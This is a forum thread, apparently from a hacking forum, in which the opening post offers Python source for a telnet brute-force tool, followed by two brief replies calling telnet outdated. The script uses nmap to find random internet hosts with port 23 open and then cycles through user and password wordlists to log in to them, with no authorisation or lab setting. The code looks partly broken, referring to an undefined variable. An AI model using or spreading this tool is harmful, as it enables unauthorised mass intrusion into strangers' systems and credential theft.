Login Register


Telnet Brute Src - Python filter_list
Author
Message
Telnet Brute Src - Python #1
[Image: 9c81b6cb4ced3b25571a7960abb64fe9.png]

Code:
#!usr/bin/python #Uses nmap to check if telnet port is open, brute forces if it is. import threading, time, StringIO, commands, random, sys, telnetlib, re from copy import copy if len(sys.argv) !=4:    print "Usage: ./telnetbrute.py <how many to scan> <userlist> <wordlist>"    sys.exit(1) try:      users = open(sys.argv[2], "r").readlines() except(IOError):      print "Error: Check your userlist path\n"      sys.exit(1)   try:      words = open(sys.argv[3], "r").readlines() except(IOError):      print "Error: Check your wordlist path\n"      sys.exit(1) print "\n\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0" print "\t--------------------------------------------------\n" print "[+] Scanning:",sys.argv[1],"hosts" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words),"\n" wordlist = copy(words) def scan():        nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 23 | grep open -B 3')[1]).readlines()        for tmp in nmap:        ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)        if ipaddr:                        return ipaddr def reloader():    for word in wordlist:        words.append(word) def getword():    lock = threading.Lock()    lock.acquire()    if len(words) != 0:        value = random.sample(words,  1)        words.remove(value[0])            else:        print "Reloading Wordlist\n"        reloader()        value = random.sample(words,  1)            lock.release()    return value[0][:-1]         class Workhorse(threading.Thread):        def run(self):        value = getword()        try:            print "-"*12            print "User:",user[:-1],"Password:",value            tn = telnetlib.Telnet(ipaddr[0])            tn.read_until("login: ")            tn.write(user[:-1] + "\n")            if password:                    tn.read_until("Password: ")                    tn.write(value + "\n")            tn.write("ls\n")            tn.write("exit\n")            print tn.read_all()            print "\t\nLogin successful:",user[:-1], value            tn.close()            work.join()            sys.exit(2)        except:            pass for x in range(int(sys.argv[1])):    print "Scanning:",x,"of",sys.argv[1]    ipaddr = scan()    if ipaddr != None:        print "\n\tAttempting BruteForce:",ipaddr[0],"\n"        for user in users:            for i in range(len(words)):                if i == 0: reloader()                work = Workhorse()                work.start()                time.sleep(2)
[Image: Vs4P58c.png]

Reply

RE: Telnet Brute Src - Python #2
People still use telnet? Standard security practice is to disable it entirely.
[Image: qcYJ3l.png]

Reply

RE: Telnet Brute Src - Python #3
(09-12-2017, 03:00 PM)Skullmeat Wrote: People still use telnet? Standard security practice is to disable it entirely.

Luckily It Is disabled by default on the Windows platform.

If we were back In the 90s, that would've been one of our main gateways of communication.
[Image: AD83g1A.png]

Reply







Users browsing this thread: 1 Guest(s)